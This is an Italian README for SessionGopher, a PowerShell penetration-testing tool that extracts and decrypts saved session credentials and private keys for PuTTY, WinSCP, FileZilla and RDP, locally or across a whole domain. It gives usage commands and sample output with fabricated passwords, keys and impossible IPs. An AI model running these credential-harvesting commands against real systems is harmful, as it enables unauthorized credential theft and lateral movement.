
SessionGopher è uno strumento PowerShell che utilizza WMI per estrarre le informazioni sulle sessioni salvate per strumenti di accesso remoto come WinSCP, PuTTY, SuperPuTTY, FileZilla e Microsoft Remote Desktop. Può essere eseguito in remoto o localmente.
Copyright 2017 FireEye, creato da Brandon Arvanaghi (@arvanaghi)
Concesso in licenza secondo la Apache License, Versione 2.0 (la "Licenza"); non è consentito utilizzare questo file se non in conformità con la Licenza. È possibile ottenere una copia della Licenza all'indirizzo
http://www.apache.org/licenses/LICENSE-2.0
Salvo quanto previsto dalla legge o concordato per iscritto, il software distribuito nell'ambito della Licenza è distribuito "COSÌ COM'È", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o implicite. Vedere la Licenza per il linguaggio specifico che disciplina i permessi e le limitazioni previsti dalla Licenza.
SessionGopher è uno strumento PowerShell che trova e decifra le informazioni delle sessioni salvate per gli strumenti di accesso remoto. Ha funzionalità WMI integrate, quindi può essere eseguito in remoto. Il suo caso d'uso migliore è identificare i sistemi che potrebbero connettersi a sistemi Unix, jump box o terminali punto vendita.
SessionGopher funziona interrogando l'hive HKEY_USERS per tutti gli utenti che hanno effettuato l'accesso a un computer aggiunto al dominio in qualche momento. Estrae le informazioni delle sessioni salvate per PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Estrae e decifra automaticamente le password salvate di WinSCP, FileZilla e SuperPuTTY. Quando viene eseguito in modalità Thorough, cerca anche in tutte le unità i file delle chiavi private PuTTY (.ppk) ed estrae tutte le informazioni rilevanti della chiave privata, inclusa la chiave stessa, oltre ai file Remote Desktop (.rdp) e RSA (.sdtid).
-Thorough: cerca in tutte le unità i file delle chiavi private PuTTY (.ppk), i file Remote Desktop Connection (.rdp) e RSA (.sdtid).
-o: salva i dati in una cartella di file .csv
-iL: fornisci un file con un elenco di host su cui eseguire SessionGopher, ogni host separato da una nuova riga. Fornisci il percorso del file dopo -iL.
-AllDomain: SessionGopher interrogherà Active Directory per tutti i sistemi aggiunti al dominio e verrà eseguito su tutti.
-Target: un host specifico che vuoi prendere di mira. Fornisci l'host target dopo -Target.
. .\SessionGopher.ps1
Invoke-SessionGopher -Thorough
Per eseguire in remoto, puoi fornire le credenziali di un account privilegiato per il sistema remoto usando i flag -u e -p. Se ometti i flag -u e -p, SessionGopher verrà eseguito nel contesto di sicurezza dell'account dal quale esegui lo script (ad es. se hai già effettuato l'accesso come account DA, o come account che è amministratore locale per il sistema target, o se stai eseguendo un runas con uno dei due, non avrai bisogno di fornire credenziali).
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
oppure
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -iL computerlist.txt -u domain.com\adm-arvanaghi -p s3cr3tP@ss -o
oppure
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Target brandonArvanaghi_win7 -Thorough
Ognuno di questi comandi può essere abbinato a -Thorough, ma tieni presente che richiede molto più tempo poiché interroga l'intero filesystem remoto. Non è consigliato eseguire la modalità -Thorough quando si interrogano più di un piccolo gruppo di sistemi alla volta.
Eseguire in remoto aggiungendo -o (stampa in CSV) funziona bene, poiché SessionGopher accumulerà tutte le sessioni trovate e ti dirà esattamente dove ha trovato la sessione salvata.
Per fare in modo che SessionGopher crei una cartella per contenere in modo ordinato i .csv delle sessioni estratte:
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
... tutto qui.
L'accesso alle informazioni delle sessioni salvate per ogni utente in HKEY_USERS richiede privilegi di amministratore locale. Senza privilegi di amministratore locale, riceverai comunque le informazioni delle sessioni salvate per quell'utente.
[+] Digging on Win7-Arvanaghi ...
WinSCP Sessions
Session : [email protected]
Hostname : 198.273.212.334
Username : admin-anthony
Password : Super*p@ssw0rd
Session : [email protected]
Hostname : 204.332.455.213
Username : Freddy
Password : angelico1892
FileZilla Sessions
Name : BarrySite
Password : imr34llytheFl@sh
Host : 10.8.30.21
User : BarryAllen
Protocol : Use FTP over TLS if available
Account : BarryAllenAccount
Port : 22
PuTTY Sessions
Session : PointOfSaleTerminal
Hostname : 10.8.0.10
PuTTY Private Key Files (.ppk)
Path : C:\Users\Brandon Arvanaghi\Documents\mykey.ppk
Protocol : ssh-rsa
Comment : rsa-key-20170116
Private Key Encryption : none
Private Key : {AAABAEazxtDz6E9mDeONOmz07sG/n1eS1pjKI8fOCuuLnQC58LeCTlysOmZ1/iC4, g4HyRpmdKJGhIxj66/RQ135hVesyk02StleepK4+Tnvz3zmdr4Do5W99qKkrWI3D, T9GOxOIoR9Zc6j57D+fdesJq4ItEIxcQZlXC1F9KZcbXjSJ3iBmCsbG/aRJmMJNx,
nCMaZkySr4R4Z/E+l1JOzXaHh5WQ2P0K4YM1/6XG6C4VzDjvXwcY67MYsobTeCR2...}
Private MAC : b7e47819fee39a95eb374a97f939c3c868f880de
Microsoft Remote Desktop (RDP) Sessions
Hostname : us.greatsite.com
Username : Domain\tester
Microsoft Remote Desktop .rdp Files
Path : C:\Users\Brandon Arvanaghi\Desktop\config\PenTestLab-Win.RDP
Hostname : dc01.corp.hackerplaypen.com
Gateway : rds01.corp.hackerplaypen.com
Prompts for Credentials : No
Administrative Session : Does not connect to admin session on remote host
Scritto da Brandon Arvanaghi (@arvanaghi)
Questo codice è stato inizialmente sviluppato presso FireEye. Tuttavia, qualsiasi aggiornamento successivo viene eseguito dall'autore al di fuori di FireEye.